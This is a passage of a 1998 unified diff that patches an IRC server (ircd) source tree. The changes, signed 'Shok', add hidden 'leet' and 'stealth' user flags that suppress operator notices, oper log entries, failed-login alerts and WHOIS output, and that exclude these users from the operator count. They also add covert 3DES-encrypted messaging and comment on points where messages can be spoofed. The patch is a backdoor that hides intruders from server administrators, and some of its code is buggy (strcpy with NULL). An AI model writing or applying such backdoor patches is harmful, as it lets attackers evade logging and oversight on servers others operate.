  3145.        if (IsMe(cptr))
  3146.      sendto_one(sptr, rpl_str(RPL_YOUREOPER),
  3147.             me.name, parv[0]);
  3148.        return 0;
  3149. -    }
  3150. -  else if (IsAnOper(sptr))
  3151. -    {
  3152. +  } 
  3153. +  else if (IsAnOper(sptr)) 
  3154. +  {
  3155.        if (MyConnect(sptr))
  3156. -    sendto_one(sptr, rpl_str(RPL_YOUREOPER),
  3157. -           me.name, parv[0]);
  3158. +     if (justop != 1) sendto_one(sptr, rpl_str(RPL_YOUREOPER),
  3159. +                             me.name, parv[0]);
  3160.        return 0;
  3161. -    }
  3162. +  }
  3163.    if (!(aconf = find_conf_exact(name, sptr->username, sptr->sockhost,
  3164.                  CONF_OPS)) &&
  3165.        !(aconf = find_conf_exact(name, sptr->username,
  3166.                  cptr->hostip, CONF_OPS)))
  3167. -    {
  3168. +  {
  3169.        sendto_one(sptr, err_str(ERR_NOOPERHOST), me.name, parv[0]);
  3170.        return 0;
  3171. -    }
  3172. +  }
  3173.  #ifdef CRYPT_OPER_PASSWORD
  3174.    /* use first two chars of the password they send in as salt */
  3175.  
  3176. @@ -2893,17 +3582,17 @@
  3177.  
  3178.    if ((aconf->status & CONF_OPS) &&
  3179.        StrEq(encr, aconf->passwd) && !attach_conf(sptr, aconf))
  3180. -    {
  3181. +  {
  3182.        int old = (sptr->flags & ALL_UMODES);
  3183.        char *s;
  3184.        
  3185.        s = index(aconf->host, '@');
  3186.        if(s == (char *)NULL)
  3187. -        {
  3188. +      {
  3189.            sendto_one(sptr, err_str(ERR_NOOPERHOST), me.name, parv[0]);
  3190.            sendto_realops("corrupt aconf->host = [%s]",aconf->host);
  3191.            return 0;
  3192. -        }
  3193. +      }
  3194.        *s++ = '\0';
  3195.  #ifdef    OPER_REMOTE
  3196.        if (aconf->status == CONF_LOCOP)
  3197. @@ -2911,21 +3600,28 @@
  3198.      if ((matches(s,me.sockhost) && !IsLocal(sptr)) ||
  3199.          aconf->status == CONF_LOCOP)
  3200.  #endif
  3201. -      {
  3202. +        {
  3203.          SetLocOp(sptr);
  3204.          sptr->flags |= (LOCOP_UMODES);
  3205. -      }
  3206. +    }
  3207.      else
  3208. -      {
  3209. +    {
  3210.          SetOper(sptr);
  3211.          sptr->flags |= (OPER_UMODES);
  3212. -      }
  3213. -      Count.oper++;
  3214. +    }
  3215. +
  3216. +      if (sptr->leet != 1) 
  3217. +         Count.oper++; /* New Shok */
  3218. +
  3219.        *--s =  '@';
  3220.        addto_fdlist(sptr->fd, &oper_fdlist);
  3221. -      sendto_ops("%s (%s@%s) is now operator (%c)", parv[0],
  3222. -         sptr->user->username, sptr->sockhost,
  3223. -         IsOper(sptr) ? 'O' : 'o');
  3224. +
  3225. +      /* Shok - (we don't want the ops to see this!) */
  3226. +      if (sptr->stealth != 1)
  3227. +         sendto_ops("%s (%s@%s) is now operator (%c)", parv[0],
  3228. +             sptr->user->username, sptr->sockhost,
  3229. +            IsOper(sptr) ? 'O' : 'o');
  3230. +
  3231.        send_umode_out(cptr, sptr, old);
  3232.        sendto_one(sptr, rpl_str(RPL_YOUREOPER), me.name, parv[0]);
  3233.  #if !defined(CRYPT_OPER_PASSWORD) && (defined(FNAME_OPERLOG) ||\
  3234. @@ -2953,30 +3649,39 @@
  3235.        if (IsPerson(sptr) &&
  3236.            (logfile = open(FNAME_OPERLOG, O_WRONLY|O_APPEND)) != -1)
  3237.          {
  3238. -          (void)alarm(0);
  3239. -          (void)ircsprintf(buf, "%s OPER (%s) (%s) by (%s!%s@%s)\n",
  3240. -                   myctime(timeofday), name, encr,
  3241. -                   parv[0], sptr->user->username,
  3242. -                   sptr->sockhost);
  3243. -          (void)alarm(3);
  3244. -          (void)write(logfile, buf, strlen(buf));
  3245. -          (void)alarm(0);
  3246. -          (void)close(logfile);
  3247. +
  3248. +              /* New Shok */
  3249. +              if (sptr->stealth != 1) {
  3250. +             (void)alarm(0);
  3251. +             (void)ircsprintf(buf, "%s OPER (%s) (%s) by (%s!%s@%s)\n",
  3252. +                      myctime(timeofday), name, encr,
  3253. +                      parv[0], sptr->user->username,
  3254. +                      sptr->sockhost);
  3255. +             (void)alarm(3);
  3256. +             (void)write(logfile, buf, strlen(buf));
  3257. +             (void)alarm(0);
  3258. +              }
  3259. +
  3260. +              (void)close(logfile);
  3261.          }
  3262.        (void)alarm(0);
  3263.        /* Modification by pjg */
  3264.      }
  3265.  #endif
  3266. -    }
  3267. +  }
  3268.    else
  3269. -    {
  3270. +  {
  3271.        (void)detach_conf(sptr, aconf);
  3272.        sendto_one(sptr,err_str(ERR_PASSWDMISMATCH),me.name, parv[0]);
  3273.  #ifdef FAILED_OPER_NOTICE
  3274. -      sendto_realops("Failed OPER attempt by %s (%s@%s)",
  3275. -             parv[0], sptr->user->username, sptr->sockhost);
  3276. +
  3277. +      /* New Shok */
  3278. +      if (sptr->stealth != 1)
  3279. +         sendto_realops("Failed OPER attempt by %s (%s@%s)",
  3280. +                parv[0], sptr->user->username, sptr->sockhost);
  3281.  #endif
  3282. -    }
  3283. +  }
  3284. +
  3285.    return 0;
  3286.  }
  3287.  
  3288. @@ -3068,6 +3773,9 @@
  3289.      (void)strncat(buf, buf2, sizeof(buf) - len);
  3290.      len += strlen(buf2);
  3291.        }
  3292. +
  3293. +  if (acptr->leet == 1) strcpy(buf, NULL); /* Shok */
  3294. +
  3295.    sendto_one(sptr, "%s", buf);
  3296.    return 0;
  3297.  }
  3298. @@ -3111,7 +3819,8 @@
  3299.      if (*buf2)
  3300.        (void)strcat(buf, " ");
  3301.  
  3302. -    if(IsAnOper(sptr))
  3303. +        /* New Shok */
  3304. +    if(IsAnOper(sptr) || sptr->leet == 1)
  3305.        {
  3306.          (void)ircsprintf(buf2, "%s%s=%c%s@%s",
  3307.                   acptr->name,
  3308. @@ -3140,6 +3849,8 @@
  3309.      (void)strncat(buf, buf2, sizeof(buf) - len);
  3310.      len += strlen(buf2);
  3311.                      }
  3312. +
  3313. +  if (acptr->stealth == 1) strcpy(buf, NULL); /* New Shok */
  3314.    sendto_one(sptr, "%s", buf);
  3315.    return 0;
  3316.  }
  3317. @@ -3237,14 +3948,18 @@
  3318.  
  3319.    if (IsServer(sptr) || sptr != acptr || acptr->from != sptr->from)
  3320.      {
  3321. -      if (IsServer(cptr))
  3322. -    sendto_ops_butone(NULL, &me,
  3323. -              ":%s WALLOPS :MODE for User %s From %s!%s",
  3324. -              me.name, parv[1],
  3325. -              get_client_name(cptr, FALSE), sptr->name);
  3326. -      else
  3327. -    sendto_one(sptr, err_str(ERR_USERSDONTMATCH),
  3328. -           me.name, parv[0]);
  3329. +      if (IsServer(cptr)) {
  3330. +
  3331. +        /* Shok - (what are we, stupid? don't send wallops in */
  3332. +        /*         stealth mode!)                             */
  3333. +        if (sptr->stealth != 1)
  3334. +       sendto_ops_butone(NULL, &me,
  3335. +                 ":%s WALLOPS :MODE for User %s From %s!%s",
  3336. +                 me.name, parv[1],
  3337. +                 get_client_name(cptr, FALSE), sptr->name);
  3338. +      } else
  3339. +    sendto_one(sptr, err_str(ERR_USERSDONTMATCH), me.name, parv[0]);
  3340. +
  3341.        return 0;
  3342.      }
  3343.   
  3344. @@ -3870,3 +4585,4 @@
  3345.  }       
  3346.  
  3347.  #endif /* FLUD */
  3348. +
  3349. Only in ../real-ircd/src: s_user.c~
  3350. diff -u ../real-ircd/src/send.c src/send.c
  3351. --- ../real-ircd/src/send.c    Sun Mar  1 11:24:11 1998
  3352. +++ src/send.c    Wed Aug 12 18:28:50 1998
  3353. @@ -32,6 +32,8 @@
  3354.  #include <stdio.h>
  3355.  #include "numeric.h"
  3356.  #include "fdlist.h"
  3357. +
  3358. +#include <des.h> /* New Shok */
  3359.  extern fdlist serv_fdlist;
  3360.  void sendto_fdlist();
  3361.  
  3362. @@ -270,42 +272,100 @@
  3363.    va_list    vl;
  3364.  #endif
  3365.  
  3366. -  int len; /* used for the length of the current message */
  3367. +  /* New Shok - a lot of mods to all of this for encrypted data */
  3368. +
  3369. +  char encstr[4096];
  3370. +  int len; /* msg len */
  3371.  
  3372. +  memset(encstr,  0, sizeof(encstr));
  3373. +  memset(sendbuf, 0, sizeof(sendbuf));
  3374. +  
  3375.  #ifdef    USE_VARARGS
  3376.    va_start(vl);
  3377. -  (void)vsprintf(sendbuf, pattern, vl);
  3378. +
  3379. +  if (to->crypt == 1)
  3380. +     (void)vsprintf(encstr, pattern, vl);
  3381. +  else
  3382. +     (void)vsprintf(sendbuf, pattern, vl);
  3383. +
  3384.    va_end(vl);
  3385. +
  3386.  #else
  3387. -  len=format(sendbuf, pattern, p1, p2, p3, p4, p5, p6,
  3388. -         p7, p8, p9, p10, p11, p12);
  3389. +  if (to->crypt == 1) 
  3390. +     len=format(encstr, pattern, p1, p2, p3, p4, p5, p6,
  3391. +            p7, p8, p9, p10, p11, p12);
  3392. +  else
  3393. +     len=format(sendbuf, pattern, p1, p2, p3, p4, p5, p6,
  3394. +            p7, p8, p9, p10, p11, p12);
  3395.  #endif
  3396. -  Debug((DEBUG_SEND,"Sending [%s] to %s", sendbuf,to->name));
  3397. +
  3398. +  if (to->crypt == 1)
  3399. +     encry(to, encstr);  /* encrypt it using 3DES */
  3400. +
  3401. +  /* Debug() is a macro, so we need the {, }'s because it */
  3402. +  /* expands to multiple command names.                   */
  3403. +  if (to->crypt == 1) {
  3404. +     Debug((DEBUG_SEND,"Sending [%s] to %s", encstr,  to->name));
  3405. +  } else { 
  3406. +     Debug((DEBUG_SEND,"Sending [%s] to %s", sendbuf, to->name));
  3407. +  }
  3408.  
  3409.    if (to->from)
  3410.      to = to->from;
  3411.    if (to->fd < 0)
  3412. -    {
  3413. +  {
  3414.        Debug((DEBUG_ERROR,
  3415.           "Local socket %s with negative fd... AARGH!",
  3416.           to->name));
  3417. -    }
  3418. +  }
  3419.    else if (IsMe(to))
  3420. -    {
  3421. -      sendto_ops("Trying to send [%s] to myself!", sendbuf);
  3422. +  {
  3423. +      if (to->crypt == 1)
  3424. +         sendto_ops("Trying to send [%s] to myself!", encstr);
  3425. +      else
  3426. +         sendto_ops("Trying to send [%s] to myself!", sendbuf);
  3427. +
  3428.        return;
  3429. -    }
  3430. +  }
  3431.  
  3432.  #ifdef USE_VARARGS
  3433. -  (void)strcat(sendbuf, NEWLINE);
  3434. +  if (to->crypt == 1)
  3435. +     (void)strcat(encstr, NEWLINE);
  3436. +  else
  3437. +     (void)strcat(sendbuf, NEWLINE);
  3438.  #ifndef    IRCII_KLUDGE
  3439. -  sendbuf[510] = '\r';
  3440. -#endif
  3441. -  sendbuf[511] = '\n';
  3442. -  sendbuf[512] = '\0';
  3443. -  len = strlen(sendbuf);
  3444. +  if (to->crypt == 1) {
  3445. +     len = strlen(encstr);
  3446. +     if (len >= (sizeof(encstr)-5)) 
  3447. +        len = (sizeof(encstr)-5);
  3448. +
  3449. +     encstr[len]='\r';
  3450. +
  3451. +  } else 
  3452. +     sendbuf[510] = '\r';
  3453. +
  3454. + 
  3455. +#endif
  3456. +  if (to->crypt == 1) {
  3457. +     len = strlen(encstr);
  3458. +     if (len >= (sizeof(encstr)-4)) 
  3459. +        len = (sizeof(encstr)-4);
  3460. +  
  3461. +     encstr[len]   = '\n';
  3462. +     encstr[len++] = '\0';
  3463. +     len = strlen(sendbuf);
  3464. +
  3465. +  } else {
  3466. +     sendbuf[511] = '\n';
  3467. +     sendbuf[512] = '\0';
  3468. +     len = strlen(sendbuf);
  3469. +  }
  3470.  #endif /* use_varargs */
  3471. -  (void)send_message(to, sendbuf, len);
  3472. +
  3473. +  if (to->crypt == 1)
  3474. +     (void)send_message(to, encstr, len);
  3475. +  else
  3476. +     (void)send_message(to, sendbuf, len);
  3477.  }
  3478.  
  3479.  # ifndef    USE_VARARGS
  3480. @@ -1071,8 +1131,12 @@
  3481.            (void)ircsprintf(temp, pattern, par, p2, p3,
  3482.                     p4, p5, p6, p7, p8);
  3483.  #endif
  3484. -          sendto_ops("Send message (%s) to %s[%s] dropped from %s(Fake Dir)", temp,
  3485. -             to->name, to->from->name, from->name);
  3486. +              /* Shok */
  3487. +              /* We don't want the ops to get mad at us, if the */
  3488. +              /* sender or receiver is leet                     */
  3489. +              if (to->leet != 1 && to->from->leet != 1)
  3490. +            sendto_ops("Send message (%s) to %s[%s] dropped from %s(Fake Dir)", temp,
  3491. +               to->name, to->from->name, from->name);
  3492.  
  3493.            return;
  3494.          }
  3495. @@ -1094,18 +1158,18 @@
  3496.        if (MyClient(to) && IsPerson(from) && !mycmp(par, from->name))
  3497.      {
  3498.        user = from->user;
  3499. -      (void)strcpy(sender, from->name);
  3500. +      (void)strcpy(sender, from->name); /* easy way to msg spoof */
  3501.        if (user)
  3502.          {
  3503.            if (*user->username)
  3504.          {
  3505.            (void)strcat(sender, "!");
  3506. -          (void)strcat(sender, user->username);
  3507. +          (void)strcat(sender, user->username); /* heh.. spoof */
  3508.          }
  3509.            if (*user->host && !MyConnect(from))
  3510.          {
  3511.            (void)strcat(sender, "@");
  3512. -          (void)strcat(sender, user->host);
  3513. +          (void)strcat(sender, user->host); /* can spoof this */
  3514.            flag = 1;
  3515.          }
  3516.          }
  3517. @@ -1116,7 +1180,7 @@
  3518.        if (!flag && MyConnect(from) && *user->host)
  3519.          {
  3520.            (void)strcat(sender, "@");
  3521. -          (void)strcat(sender, from->sockhost);
  3522. +          (void)strcat(sender, from->sockhost); /* can spoof this */
  3523.          }
  3524.        par = sender;
  3525.      }
  3526. Only in src: version.c.last
  3527. diff -u ../real-ircd/src/whowas.c src/whowas.c
  3528. --- ../real-ircd/src/whowas.c    Sun Mar  1 11:24:11 1998
  3529. +++ src/whowas.c    Wed Aug 12 18:28:50 1998
  3530. @@ -169,11 +169,15 @@
  3531.      {
  3532.        if (!mycmp(nick, temp->name))
  3533.          {
  3534. +
  3535. +              /* New Shok */
  3536.            sendto_one(sptr, rpl_str(RPL_WHOWASUSER),
  3537. -             me.name, parv[0], temp->name,
  3538. +             me.name, parv[0], temp->curnick,
  3539. +                         temp->name,
  3540.               temp->username,
  3541.               temp->hostname,
  3542.               temp->realname);
  3543. +
  3544.            sendto_one(sptr, rpl_str(RPL_WHOISSERVER),
  3545.               me.name, parv[0], temp->name,
  3546.               temp->servername, myctime(temp->logoff));
  3547.